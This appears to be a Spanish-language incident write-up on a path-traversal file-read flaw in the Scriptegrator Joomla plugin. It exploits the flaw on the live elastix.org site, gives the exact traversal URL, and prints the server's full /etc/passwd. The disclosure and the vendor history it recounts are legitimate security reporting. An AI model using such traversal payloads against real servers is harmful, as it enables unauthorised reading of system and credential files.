Introduccion
El 29 de Enero de 2012 se detecto la presencia de un plugin en el sitio web www.elastix.org (basado en Joomla), cuya version sufria de una vulnerabilidad que permitia la lectura remota no autorizada de ficheros locales. La brecha se soluciono al siguiente dia de haber sido explotada.
El plugin en cuestion es Scriptegrator de GreatJoomla, el cual integra varias librerias JavaScript como jQuery, jQuery UI, Highslide, etc, en un solo paquete. El 13 de Junio de 2011 se hizo publica una vulnerabilidad para la version 1.5.5 de Scriptegrator con los detalles tecnicos y ejemplos de uso: Scriptegrator Exploit.
El 16 de Junio de 2011 el usuario 'hils' informa publicamente en los foros de soporte de GreatJoomla sobre un posible problema de seguridad en la version 1.5.5 de Scriptegrator, agregando que desde hacia 2 dias dicha extension figuraba en Joomla! Vulnerable Extension List y que ademas ha sido removido del Joomla! Extension Directory. La respuesta del administrador del foro fue que no sabia porque alguien habia reportado esta extension como vulnerable. (?!)
Procedimiento
Utilizando la informacion anteriormente descrita, se procedio a su explotacion:
http://www.elastix.org/plugins/system/cdscriptegrator/libraries/highslide/css/cssloader.php?files[]=../../../../../../../../../../../../etc/passwd.css
Como consecuencia, se pudo leer en el navegador web el contenido del fichero /etc/passwd
del servidor web de Elastix.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin distcache:x:94:94:Distcache:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash pcap:x:77:77::/var/arpwatch:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin palosanto:x:500:500::/home/palosanto:/bin/bash mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin
Resultados
Como resultado de la explotacion de esta vulnerabilidad, en el siguiente Gist se pueden observar algunos de los ficheros locales que pudieron ser accedidos.